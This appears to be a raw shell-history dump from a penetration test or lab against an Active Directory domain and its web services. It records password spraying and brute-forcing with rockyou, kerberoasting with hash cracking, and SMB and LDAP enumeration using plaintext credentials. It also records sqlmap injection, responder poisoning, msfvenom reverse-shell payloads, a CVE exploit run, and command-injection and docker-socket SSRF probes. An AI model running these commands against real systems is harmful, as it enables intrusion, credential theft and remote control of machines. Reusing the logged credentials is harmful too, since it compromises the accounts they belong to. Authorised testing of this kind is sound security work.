_raw: : 1761385393:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M laps


_raw: : 1761385387:0;ffuf -u http://10.0.1.15:8090/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -e .php


_raw: : 1761385385:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M get-userPassword


_raw: : 1761385372:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M get-unixPassword


_raw: : 1761385364:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M get-unixUserPassword


_raw: : 1761385351:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M groupmembership


_raw: : 1761385340:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M enum_trusts


_raw: : 1761385336:0;ffuf -u http://10.0.1.15:8090 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host : FUZZ.10.0.1.15:8090" -c


_raw: : 1761385327:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' enum_trusts


_raw: : 1761385319:0;nxc ldap 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -L


_raw:
sudo nmap 10.0.1.15 -p- -vv -sCVS
cat p
cat password.txt
sudo nmap 10.0.1.15 -p- -vv -sCVS
mysql -h 10.0.1.15 -u root -p
mousepad
gobuster dir -u 10.0.1.15:8090 -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u http://10.0.1.15:8090/ -w /usr/share/wordlists/dirb/big.txt
gobuster dir -u http://10.0.1.15:8090/ -w /usr/share/wordlists/dirb/common.txt
gobuster dir -u http://10.0.1.15:8090/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.15:8090/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,zip,txt,7z
netexec smb 10.0.1.0/24 -u Rdavis -p rosdav50
netexec smb 10.0.1.0/24 -u Rdavis -p rosdav50   --local-auth
netexec smb 10.0.1.0/24 -u Rdavis -p rosdav50   --shares
smbclient //10.0.1.6/SYSVOL -U 'Rdavis%rosdav50'
ls
smbclient //10.0.1.6/NETLOGON -U 'Rdavis%rosdav50'
netexec smb 10.0.1.0/24 -u Rdavis -p rosdav50   --shares
sudo nano /etc/hosts
netexec winrm 10.0.1.0/24 -u Rdavis -p rosdav50
netexec rdp 10.0.1.0/24 -u Rdavis -p rosdav50
netexec rdp 10.0.1.0/24 -u SVC_STABILIZE -p 1gyroscope
netexec smb 10.0.1.0/24 -u SVC_STABILIZE -p 1gyroscope
netexec winrm 10.0.1.0/24 -u SVC_STABILIZE -p 1gyroscope
cat password.txt
sudo nano /etc/hosts
netexec smb 10.0.1.21. -u SVC_STABILIZE -p 1gyroscope --shares
netexec smb 10.0.1.21  -u SVC_STABILIZE -p 1gyroscope --shares
netexec sm 10.0.1.21  -d allports.local -u SVC_STABILIZE -p 1gyroscope --shares
netexec smb 10.0.1.21  -d allports.local -u SVC_STABILIZE -p 1gyroscope --shares
netexec smb 10.0.1.21  -d allports.local -u SVC_STABILIZE -p 1gyroscope -k
netexec smb DECKHAND-02  -d allports.local -u SVC_STABILIZE -p 1gyroscope -k
netexec smb 10.0.1.21  -d allports.local -u SVC_STABILIZE -p 1gyroscope -k
netexec smb 10.0.1.21  -d allports.local -u SVC_STABILIZE -p 1gyroscope
netexec smb 10.0.1.21  -d allports.local -u SVC_STABILIZE -p 1gyroscope --local-auth
netexec smb 10.0.1.21  -d allports.local -u SVC_STABILIZE -p 1gyroscope -local-auth
netexec smb 10.0.1.21  -d allports.local -u SVC_STABILIZE -p 1gyroscope --local-auth
netexec smb 10.0.1.21  -u SVC_STABILIZE -p 1gyroscope --local-auth
netexec smb 10.0.1.20  -u SVC_STABILIZE -p 1gyroscope --local-auth
netexec smb 10.0.1.6 -u SVC_STABILIZE -p 1gyroscope --local-auth
nano ad_hosts.txt
cat password.txt
nano ad_hosts.txt
sudo nmap -p- -h
ls
sudo nmap -p- -sL ad_hosts.txt -sCVS
sudo nmap -p- -iL ad_hosts.txt -sCVS
sudo nmap -p- -iL ad_hosts.txt -sCVS  -vv
ls
cat share/nmap.all.top1000.out
mousepad share/nmap.all.top1000.out


_raw: : 1761385309:0;nxc ldap --host 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -L


_raw: : 1761385308:0;searchsploit -m windows/remote/76.c


_raw: : 1761385289:0;bloodyAD --host 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -d allports.local get writable


_raw: : 1761385279:0;bloodyAD --host 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -d allports.local get children


_raw: : 1761385278:0;ffuf -u http://10.0.1.15:8090/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt


_raw: : 1761385272:0;bloodyAD --host 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -d allports.local get  -h


_raw: : 1761385268:0;bloodyAD --host 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -d allports.local get


_raw: : 1761385203:0;nxc smb apt-dc-01 -u 'SVC_STABILIZE' -p '1gyroscope'  --shares -M spider_plus


_raw: : 1761385196:0;nxc smb apt-dc-01 -u 'SVC_STABILIZE' -p '1gyroscope'  --shares


_raw: : 1761385185:0;nxc smb apt-dc0-01 -u 'SVC_STABILIZE' -p '1gyroscope'  --shares


_raw: : 1761385181:0;nxc smb apt-dc0-01 -u 'SVC_STABILIZE' -p '1gyroscope' -k --shares


_raw: : 1761385175:0;nxc smb apt-dc0-01 -u 'SVC_STABILIZE' -p '1gyroscope' --shares


_raw: : 1761385127:0;bloodyAD --host 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -d allports.local get membership SVC_STABILIZE


_raw: : 1761385121:0;bloodyAD --host 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -d allports.local get membership


_raw: : 1761385120:0;bloodyAD --host 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -d allports.local get membershipp


_raw: : 1761385118:0;bloodyAD --host 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -d allports.local get membership[


_raw: : 1761385111:0;bloodyAD --host 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -d allports.local get groups


_raw: : 1761385099:0;bloodyAD --host 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -d allports.local get writable


_raw: : 1761385013:0;john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt ker.txt


_raw: : 1761385008:0;john --format=krb5tgs --wordlist=/usr/share/wordlists/rockyou.txt kerberoastables.txt


_raw: : 1761384979:0;hashcat hashcat -m 13100 ker.txt /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt


_raw: : 1761384975:0;hashcat hashcat -m 13100 ker.txt /usr/share/seclists/Passwords/xato-net-10-million-passwords


_raw: : 1761384928:0;searchsploit Microsoft Windows RPC


_raw: : 1761384882:0;nxc ldap allports.local -u 'rdavis' -p 'rosdav50' --kerberoasting ker.txt


_raw: : 1761384874:0;nxc ldap allports.local -u 'rdavis' -p 'rosadav50' --kerberoasting ker.txt


_raw:
ifconfig
cat password.txt
ls
cd share
;s
ls
cat nmap.out_80_443_8080_445.out
nano enum.txt
netexec smb 10.0.1.6 -u '' -p ''
sudo nano /etc/hosts
ls
cat 10.0.1.6_nmap.txt
ls
ls -la
cat 10.0.1.11_nmap.txt
ifconfig
ls


_raw: : 1761384824:0;ffuf -u http://10.0.1.15:8081/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt


_raw: : 1761384812:0;ffuf -u http://10.0.1.15:8081/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt


_raw: : 1761384805:0;searchsploit  Simple DNS Plus\


_raw:
: 1761384787:0;kerbrute passwordspray \\
  --dc 10.0.1.6 \\
  -d allports.local \\
  users.txt \\
  rockyou.txt\


_raw: : 1761384786:0;pipx install git+https://github.com/Pennyw0rth/NetExec/commit/58e0f2f1445df603fdee800f90ee05fe8165a46b --force


_raw:
: 1761384676:0;kerbrute passwordspray \\
    --dc 10.0.1.6 \\
    -d allports.local \\
    users.txt \\
    rockyou.txt \\
    --downgrade


_raw:
: 1761384639:0;kerbrute passwordspray \\
    --dc 10.0.1.6 \\
    -d allports.local \\
    users.txt \\
    rockyou.txt \\
    --etype aes256-cts-hmac-sha1-96,aes128-cts-hmac-sha1-96,rc4-hmac


_raw:
: 1761384625:0;kerbrute passwordspray \\
    --dc 10.0.1.6 \\
    -d allports.local \\
    users.txt \\
    rockyou.txt \\
    --etype aes256-cts-hmac-sha1-96


_raw:
: 1761384585:0;kerbrute passwordspray \\
    --dc 10.0.1.6 \\
    -d allports.local \\
    users.txt \\
    rockyou.txt


_raw:
: 1761384561:0;kerbrute passwordspray \\
    --dc 10.0.1.6 \\
    -d allports.local \\
    users.txt \\
    rockyou.txt


_raw: : 1761384531:0;nxc smb -h | grep kerberos


_raw: : 1761384510:0;GetUserSPNs.py  allports.local/REDACTED_EMAIL -k -no-pass -dc-ip 10.0.1.6 -usersfile users.txt -outputfile hashes.txt


_raw: : 1761384499:0;nxc smb APT-DC-01.allports.local -u 'users.txt' -p '' -k


_raw: : 1761384496:0;ntpdate -u APT-DC-01.allports.local


_raw:
nmap -sS -sV 10.0.1.20
curl 10.0.1.20:8080
curl 10.0.1.20:5985
nikto -h 10.0.1.20:5985
clear
nmap -sS -sV chat.allports.tours
curl chat.allports.tours


_raw: : 1761384408:0;nxc smb APT-DC-01.allports.local -u 'users.txt' -p '' -k


_raw: : 1761384405:0;nxc smb APT-DC-01.allports.local -u 'users.txt' -p ''


_raw: : 1761384383:0;GetUserSPNs.py  allports.local/REDACTED_EMAIL -k -no-pass -dc-ip 10.0.1.6 -usersfile users.txt -outputfile hashes.txt


_raw: : 1761384356:0;GetUserSPNs.py  allports.@APT-DC-01 -k -no-pass -dc-ip 10.0.1.6 -usersfile users.txt -outputfile hashes.txt -h


_raw: : 1761384353:0;GetUserSPNs.py  allports.@APT-DC-01 -k -no-pass -dc-ip 10.0.1.6 -usersfile users.txt -outputfile hashes.txt


_raw: : 1761384345:0;GetUserSPNs.py  @APT-DC-01 -k -no-pass -dc-ip 10.0.1.6 -usersfile users.txt -outputfile hashes.txt


_raw: : 1761384273:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.0.1.14:5001/FUZZ -mc 200,302,403


_raw: : 1761384269:0;nxc smb DECKHAND-02.allports.local -u 'rdavis' -p 'rosdav50'


_raw: : 1761384259:0;nxc smb DECLHAND-02.allports.local -u 'rdavis' -p 'rosdav50'


_raw: : 1761384254:0;nxc smb DECLHAND-2.allports.local -u 'rdavis' -p 'rosdav50'


_raw: : 1761384252:0;kerbrute userenum --dc 10.0.1.6 -d allports.local usernames.txt\


_raw: : 1761384244:0;nxc smb allports.local -u 'rdavis' -p 'rosdav50'


_raw: : 1761384240:0;nxc smb allports.local -u 'rdavis' -p 'rosadav50'


_raw: : 1761384227:0;crackmapexec ldap 10.0.1.6 -u USERNAME -p PASSWORD --users\


_raw: : 1761384217:0;sqlmap -u "http://10.0.1.15:8080/api/navigation.php?action=speed" -dbs


_raw: : 1761384190:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectClass=computer)" cn\


_raw: : 1761384189:0;nxc ldap APT-DC-01 -u 'rdavis' -p 'rosdav50' -k --computers


_raw: : 1761384182:0;nxc smb APT-DC-01 -u 'rdavis' -p 'rosdav50' -k --computers


_raw: : 1761384173:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" "(objectClass=user)" cn\


_raw: : 1761384145:0;nxc smb APT-DC-01 -u 'rdavis' -p 'rosdav50' -k --users


_raw: : 1761384099:0;nmap -sV -p 3306 --script=mysql-info,mysql-users,mysql-empty-password 10.0.1.15


_raw: : 1761384080:0;dig @ns-83-a.gandi.net chat.allports.tours ANY +noall +answer\


_raw: : 1761384035:0;evil-winrm -i 10.0.1.6 -u USERNAME -p PASSWORD\


_raw: : 1761383999:0;dig @ns-83-a.gandi.net chat.allports.tours A AAAA CNAME +noall +answer\


_raw: : 1761383995:0;kerbrute userenum --dc 10.0.1.6 -d allports.local usernames.txt\


_raw: : 1761383980:0;ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local"\


_raw: : 1761383950:0;dig +trace chat.allports.tours\


_raw: : 1761383929:0;curl -v --connect-timeout 10 --max-time 20 http://chat.allports.tours/ 2>&1


_raw: : 1761383865:0;dnsrecon -d allports.tours


_raw: : 1761383861:0;npm i @layered/dns-records


_raw: : 1761383840:0;theHarvester -d allportstours.com


_raw:
: 1761383830:0;while IFS= read -r password; do\
  kerbrute passwordspray --dc 10.0.1.6 -d allports.local users.txt "$password"\
done < rockyou.txt


_raw: : 1761383818:0;theHarvester -d allportstours.com -h \


_raw:
: 1761383744:0;while IFS= read -r password; do\
  kerbrute passwordspray --dc 10.0.1.6 -d allports.local users.txt "$password"\
done < rockyou.txt


_raw: : 1761383735:0;curl -s -i "http://bb-b143.rooms.allports.tours/admin.html" | grep -e "5"


_raw: : 1761383723:0;curl -s -i "http://bb-b143.rooms.allports.tours/admin.html"


_raw: : 1761383688:0;curl -s -i "http://bb-b143.rooms.allports.tours/api/emergencies" | sed -n '1,160p'\


_raw: : 1761383669:0;gobuster dir -w /usr/share/wordlists/dirbuster/directories.jbrofuzz -u http://10.0.1.15:8080/ -k


_raw: : 1761383655:0;gobuster dir -w /usr/share/wordlists/dirbuster/directories.jbrofuzz -u http://10.0.1.15/ -k


_raw: : 1761383649:0;gobuster dir -w /usr/share/wordlists/dirbuster/directories.jbrofuzz -u http://10.0.1.15/


_raw: : 1761383582:0;GetUserSPNs.py  allports.local/ -k -no-pass -dc-ip 10.0.1.6 -usersfile users.txt -outputfile hashes.txt


_raw: : 1761383554:0;getTGT.py  allports.local/rdavis:'rosdav50' -dc-ip 10.0.1.6


_raw: : 1761383525:0;GetUserSPNs.py  allports.local/rdavis:'rosdav50' -dc-ip 10.0.1.6 -usersfile users.txt -outputfile hashes.txt


_raw: : 1761383520:0;GetUserSPNs.py  allports.local/rdavis:'rosdav50' -dc-ip 10.0.1.6 -usersfile users.txt -format hashcat -outputfile hashes.txt


_raw: : 1761383511:0;GetUserSPNs.py  allports.local/rdavis:'rosdav50' -dc-ip 10.0.1.6 -usersfile users.txt -format hashcat -outputfile hashes.txt


_raw: : 1761383401:0;nxc ldap allports.local -u 'rdavis' -p 'rosdav50' -k


_raw: : 1761383356:0;python gMSADumper.py -k -d allports.local -l APT-DC-01.allports.local


_raw: : 1761383353:0;mv /usr/share/wordlists/rockyou.txt .


_raw: : 1761383337:0;theHarvester -d allports.tours -b all


_raw: : 1761383333:0;git clone https://github.com/micahvandeusen/gMSADumper.git


_raw: : 1761383325:0;theHarvester -d allports.tours -b yahoo


_raw: : 1761383314:0;theHarvester -d allports.tours -b bing


_raw: : 1761383300:0;nxc ldap APT-DC-01 -u 'rdavis' -p 'rosdav50' -k --gmsa -L


_raw: : 1761383291:0;theHarvester -d allports.tours -h


_raw: : 1761383290:0;bloodyAD --host 10.0.1.6 -u 'rdavis' -p 'rosdav50' -d allports.local get writable


_raw: : 1761383286:0;theHarvester -d allports.tours


_raw: : 1761383279:0;theHarvester -d allports.tours -b google


_raw: : 1761383271:0;nxc ldap APT-DC-01 -u 'rdavis' -p 'rosdav50' -k --gmsa


_raw: : 1761383270:0;theHarvester -d https://allports.tours -b google


_raw: : 1761383266:0;theHarvester -d https://allports.tours -b googl


_raw: : 1761383263:0;nxc smb APT-DC-01 -u 'rdavis' -p 'rosdav50' -k --gmsa


_raw: : 1761383251:0;bloodyAD --host 10.0.1.6 -u 'rdavis' -p 'rosdav50' -d allports.tours get writable


_raw: : 1761383223:0;bloodyAD  --host 10.0.1.6 -d allports.tours get writable


_raw: : 1761383220:0;bloodyAD  --host 10.0.1.6 -d allports.tours get writeable


_raw: : 1761383214:0;bloodyAD  --host 10.0.1.6 -d allports.tours get writebale


_raw: : 1761383185:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.0.1.14:5001/FUZZ -mc 200,302,403


_raw: : 1761383172:0;bloodyAD bloodyAD --host 10.0.1.6 -d allports.tours get writebale


_raw: : 1761383168:0;bloodyAD bloodyAD --host 10.0.1.6 -d allports.tours get -h


_raw: : 1761383164:0;bloodyAD bloodyAD --host 10.0.1.6 -d allports.tours -h


_raw: : 1761383162:0;curl -s "http://bb-b143.rooms.allports.tours/api/services/open"


_raw:
CAT password.txt
cat password.txt
clear
whatweb http://bb-b143.rooms.allports.tours/
curl -I -sS http://bb-b143.rooms.allports.tours/admin.html
curl -sS http://bb-143.rooms.allports.tours/admin.html -o admin_page.html
curl -sS http://bb-b143.rooms.allports.tours/admin.html -o admin_page.html
sed -n '1,160p' admin_page.html


_raw:
: 1761383123:0;curl -s -i -X POST "http://bb-b143.rooms.allports.tours/api/services/request" \\
  -H "Content-Type: application/json" \\
  -d '{"serviceOptionID":2,"notes":"POC TEST - please ignore; created by pentest"}' \\


_raw:
: 1761383114:0;git clone --depth 1 https://github.com/CravateRouge/bloodyAD\
cd bloodyAD && pip install . --break-system-packages


_raw:
: 1761383106:0;git clone --depth 1 https://github.com/CravateRouge/bloodyAD\
pip install . --break-system-packages


_raw:
: 1761383090:0;git clone --depth 1 https://github.com/CravateRouge/bloodyAD\
pip install .


_raw: : 1761383071:0;curl -s -i "http://bb-b143.rooms.allports.tours/api/services/lists?includeDisabled=False"


_raw: : 1761383062:0;curl -s -i "http://bb-b143.rooms.allports.tours/api/services/lists?includeDisabled=False" | jq .\


_raw: : 1761383044:0;nxc smb APT-DC-01 -u 'rdavis' -p 'rosdav50' -k --shares


_raw: : 1761382990:0;find / -name authorized_keys 2> /dev/null


_raw:
mysql -j
mysql -h
mysql -u root -p -h remote_host_ip -P 3306
mysql -u root -p -h 10.0.1.15 -P 3306
mysql -u root -p -h 10.0.1.15 -P 3306 --ssl-verify-server-cert


_raw:
hydra -h
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.10
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://10.0.1.10 -V -I
ls
sqlmap -r te
sqlmap -r test.req
sqlmap -r test.req --level=3 --risk=2
sqlmap -r test.req --level=3 --risk=2 --dbs
sqlmap -r test.req --level=3 --risk=2 --dbs --dbms=mysql
sqlmap -r test.req --level=3 --risk=2 --dbs --dbms=mysql --batch
sqlmap -r test2.req --level=3 --risk=2 --dbs --dbms=mysql --batch
sqlmap -r test3.req --dbs --dbms=mysql --batc
sqlmap -r test3.req --dbs --dbms=mysql --batch -p id --risk=3 --level=3
sqlmap -r test3.req --dbs --dbms=mysql --batch -p id --risk=3 --level=3 --tamper=space2comment
sqlmap -r test3.req --dbs --dbms=mysql --batch -p id --risk=3 --level=5 --tamper=space2comment
gobuster


_raw: : 1761382961:0;ls * | grep mysql-native-password


_raw: : 1761382907:0;nxc smb APT-DC-01 -u 'rdavis' -p 'mypassword'  -k


_raw: : 1761382902:0;nxc smb APT-DC-01 -u 'rdavis' -p 'mypassword'


_raw: : 1761382895:0;nxc ssh APT-DC-01 -u 'rdavis' -p 'mypassword'


_raw:
ls
mkdir shares
mv DfsrPrivate Policies/ scripts/ shares
cd shares
cod e.
code .
clear
ls
code .


_raw: : 1761382836:0;docker build . -t my-holehe-image


_raw: : 1761382777:0;curl -s -i "http://bb-b143.rooms.allports.tours/api/emergencies" | sed -n '1,160p'\


_raw: : 1761382774:0;docker build . -t my-holehe-image


_raw: : 1761382707:0;git clone https://github.com/megadose/holehe.git


_raw: : 1761382703:0;[200~git clone https://github.com/megadose/holehe.git~


_raw: : 1761382656:0;searchsploit -m multiple/webapps/50512.py


_raw: : 1761382634:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u https://10.0.1.14/FUZZ -mc 200,302,403


_raw: : 1761382606:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.0.1.14/FUZZ -mc 200,302,403


_raw: : 1761382566:0;ffuf -u http://10.0.1.11:8000/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -fw 5


_raw:
nmap --Pn sC -sV -oA nmap/services -p(ports) 10.0.1.6 --script=vuln -vv
nmap -Pn --script smb-enum* -p139,445 10.0.1.6
smbclient -L 10.0.1.6
ldapsearch -x -H ldap://10.0.1.6 -s base namingcontexts
ldapsearch -x -b "dc=allports,dc=local" -h 10.0.1.6 -p 389 '(ObjectClass=User)' sAMAccountName | grep sAMAccountName | awk '{print $2}'
rpcclient -U=" " -N 10.0.1.6
nmap -p389 --script ldap-search --script-args 'ldap.username="cn=ippsec,cn=users,dc=pentesting,dc=local",ldap.password=Password12345,ldap.qfilter=users,ldap.attrib=sAMAccountName' 10.0.1.6 -Pn -oA nmap/domain-users
responder -I eth0 -rdwv
responder -I eth0 -wd
nmap --script=smb2-security-mode.nse -p445 10.0.1.0/24
sudo mousepad /etc/responder/Responder.conf
sudo responder -I eth0 -dwP


_raw: : 1761382561:0;ffuf -u http://10.0.1.11:8000/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -fw 629


_raw: : 1761382448:0;sudo apt install subfinder


_raw: : 1761382415:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.0.1.11:8081/FUZZ -mc 200,302,403


_raw: : 1761382401:0;ffuf -u http://10.0.1.11/images/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -fw 629


_raw: : 1761382345:0;git clone https://github.com/c14it0n/ldap-harvester


_raw: : 1761382258:0;pip3 install -r requirements.txt


_raw: : 1761382238:0;arjun -u http://10.0.1.15/api/navigation.php?action=


_raw: : 1761382181:0;sudo apt install setup.py


_raw: : 1761382178:0;pip install -r requirements.txt


_raw: : 1761382173:0;pipx install -r requirements.txt


_raw: : 1761382162:0;pip3 install -r requirements.txt


_raw: : 1761382155:0;ffuf -u http://10.0.1.11/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -fw 629


_raw: : 1761382148:0;ffuf -u http://10.0.1.11/FUZZ -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt


_raw: : 1761382139:0;git clone https://github.com/thewhiteh4t/FinalRecon.git


_raw: : 1761382088:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.0.1.11:8045/FUZZ -mc 200,302,403


_raw:
: 1761381816:0;patator http_fuzz url="http://10.0.1.11:8081" method=GET \\
auth_type=basic auth_user=icemen auth_pass=FILE0 0=/usr/share/wordlists/rockyou.txt \ --max-retries=2 -x ignore:fgrep='401'


_raw:
: 1761381812:0;patator http_fuzz url="http://10.0.1.11:8081" method=GET \\
auth_type=basic auth_user=icemen auth_pass=FILE0 0=/usr/share/wordlists/rockyou.txt \ --max-retries=2 -x ignore:fgrep='401' \


_raw:
: 1761381800:0;patator http_fuzz url="http://10.0.1.11:8081" method=GET \\
auth_type=basic auth_user=icemen auth_pass=FILE0 0=/usr/share/wordlists/rockyou.txt \ --max-retries=2 -x ignore:fgrep='401' \\
--log=patator.log


_raw:
: 1761381789:0;dig registry.prod.allports.local\
dig harbor.prod.allports.local  \
dig k8s.prod.allports.local\
dig rancher.prod.allports.local\
\
# Try zone transfer\
dig @10.0.1.1 prod.allports.local AXFR\
dig @10.0.1.254 prod.allports.local AXFR


_raw: : 1761381680:0;curl -s -i "http://bb-b143.rooms.allports.tours/api/admin/services?authorized=true" | sed -n '1,160p'\


_raw: : 1761381642:0;curl -s -i "http://bb-b143.rooms.allports.tours/api/admin/emergencies?authorized=true" | sed -n '1,120p'\


_raw: : 1761381628:0;curl -s http://10.0.1.99:8080/api/rawdata | grep -iE "password|secret|key|token|api"\


_raw: : 1761381627:0;cat live.txt | jaeles scan -c 15 -s 'fuzz/.*'


_raw: : 1761381619:0;msfvenom -p windows/shell_reverse_tcp LHOST=10.0.254.204 LPORT=4443 -f exe -o non_staged.exe


_raw: : 1761381610:0;curl -s -i http://bb-b143.rooms.allports.tours/admin.html | grep -E "api/"\


_raw: : 1761381603:0;msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4443 -f exe -o non_staged.exe


_raw: : 1761381576:0;curl -s "http://bb-b143.rooms.allports.tours/admin.html" | sed -n '1,200p'\


_raw: : 1761381531:0;cat hosts.txt| httpx > live.txt


_raw: : 1761381492:0;cat hosts.txt| httpx > live.txt


_raw: : 1761381486:0;cat hosts.txt| httpx -o live.txt


_raw: : 1761381481:0;curl -s -I http://bb-b143.rooms.allports.tours/admin.html | sed -n '1,120p'\


_raw: : 1761381447:0;mv bruteforce.py bruteforce.sh


_raw: : 1761381393:0;sudo python3 setup.py install


_raw:
: 1761381369:0;# Check if we can add routes dynamically\
curl -X POST http://10.0.1.99:8080/api/providers/docker \\
  -H "Content-Type: application/json" \\
  -d '{"loadBalancer":{"servers":[{"url":"http://YOUR_MALICIOUS_CONTAINER"}]}}'


_raw: : 1761381308:0;curl -H "Host: test.rooms.allports.tours" "http://10.0.1.99/api/?url=http://unix:/var/run/docker.sock:/containers/json"\


_raw: : 1761381305:0;curl -H "Host: test.rooms.allports.tours" -X POST http://10.0.1.99/api/ -d '{"cmd":"id"}'\


_raw: : 1761381301:0;curl -H "Host: test.rooms.allports.tours" "http://10.0.1.99/api/echo?cmd=id"\


_raw: : 1761381297:0;git clone https://github.com/rusdy-cyber/wisdom-king-rafhail.git


_raw: : 1761381293:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.0.1.11:8000/FUZZ -mc 200,302,403 -fs 4831


_raw: : 1761381282:0;sqlmap -r port.req --level=5 --risk=3 --technique=BEUSTQ --batch


_raw:
: 1761381278:0;sudo python3 setup.py install~git clone https://github.com/rusdy-cyber/wisdom-king-rafhail.git\
cd evillimiter\
sudo python3 setup.py install


_raw: : 1761381270:0;[200~git clone https://github.com/rusdy-cyber/wisdom-king-rafhail.git


_raw: : 1761381258:0;mv bruteforce.sh bruteforce.py


_raw:
clear
cd
clear
ls
cat password.txt
sudo apt update
sudo apt upgrade
nuceli
sudo su


_raw: : 1761381182:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.0.1.11:80/FUZZ -mc 200,302,403 -fs 4831


_raw: : 1761381140:0;ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://10.0.1.11:80/FUZZ -mc 200,302,403


_raw: : 1761381117:0;openssl s_client -connect 10.0.1.14:443 -showcerts 2>/dev/null | openssl x509 -noout -text | grep -E "DNS:|Subject:"


_raw: : 1761381115:0;hydra -l icemen -P /usr/share/wordlists/rockyou.txt 10.0.1.11:8081 http-get / -t 1 -f -V\


_raw:
: 1761381079:0;dig registry.prod.allports.local\
dig harbor.prod.allports.local\
dig portainer.prod.allports.local\
dig swarm.prod.allports.local\
dig docker.prod.allports.local


_raw: : 1761381021:0;./bruteforce.sh -P /usr/share/wordlists/rockyou.txt -o 1


_raw: : 1761380999:0;cat hosts.txt| jaeles scan -c 100  -s 'fuzz/.*'


_raw: : 1761380993:0;jaeles config -a reload --signDir /tmp/jaeles-signatures


_raw: : 1761380986:0;git clone --depth=1 https://github.com/jaeles-project/jaeles-signatures /tmp/jaeles-signatures/


_raw:
ls
sudo nmap -sn 10.0.1.0/24
sudo nmap -Pn  -n --disable-arp-ping --packet-trace --reason -F 10.0.1.11
sudo nmap -Pn  -n --disable-arp-ping --packet-trace --reason -p- 10.0.1.11
sudo nmap -Pn  -n --disable-arp-ping --packet-trace --reason -sT -p- 10.0.1.11
sudo nmap -Pn  -n --disable-arp-ping --packet-trace -sU 10.0.1.11
sudo nmap **-sC --script mysql* -sV** -p3306 10.0.1.99  \

sudo nmap -sC --script mysql* -sV -p3306 10.0.1.99  \
mysql -u root -h 10.0.1.99
mysql -u  -h 10.0.1.99
mysql -u root -h 10.0.1.99
mysql -h
mysql
wget https://raw.githubusercontent.com/ShielderSec/CVE-2020-11579/refs/heads/master/CVE-2020-11579.py
python3 CVE-2020-11579.py -rh 10.0.1.15 -lh 0.0.0.0 -f '/etc/issue'-d
python CVE-2020-11579.py -rh 10.0.1.15 -lh 0.0.0.0 -f '/etc/issue'-d
pip install asynchat
pip install asynchat --break-system-packages.
pip install asynchat --break-system-packages
sudo pip install asynchat --break-system-packages
sudo pip3 install asynchat --break-system-packages
pip3 install asynchat --break-system-packages
python3 CVE-2020-11579.py -rh 10.0.1.15 -lh 0.0.0.0 -f '/etc/issue'-d
pip install pyasynchat\
pip install pyasynchat --break-system-packages
python3 CVE-2020-11579.py -rh 10.0.1.15 -lh 0.0.0.0 -f '/etc/issue'-d
python3 CVE-2020-11579.py -rh http://10.0.1.15 -lh 0.0.0.0 -f '/etc/issue' -lp 3308 -d
python3 CVE-2020-11579.py -rh http://10.0.1.15 -lh 127.0.0.1 -f '/etc/issue' -lp 3308 -d
sudo nmap -sC --script mysql* -sV -p3306 10.0.1.15
msfconsole -q
sudo nmap -Pn  -n --disable-arp-ping -sT 10.0.1.11
sudo nmap -Pn  -n --disable-arp-ping -sT -p- 10.0.1.11
sudo nmap -Pn  -n --disable-arp-ping -sT -p- -sV -sC 10.0.1.11
dirb 10.0.1.11
dirb http://10.0.1.11
cat password.txt
```bash\
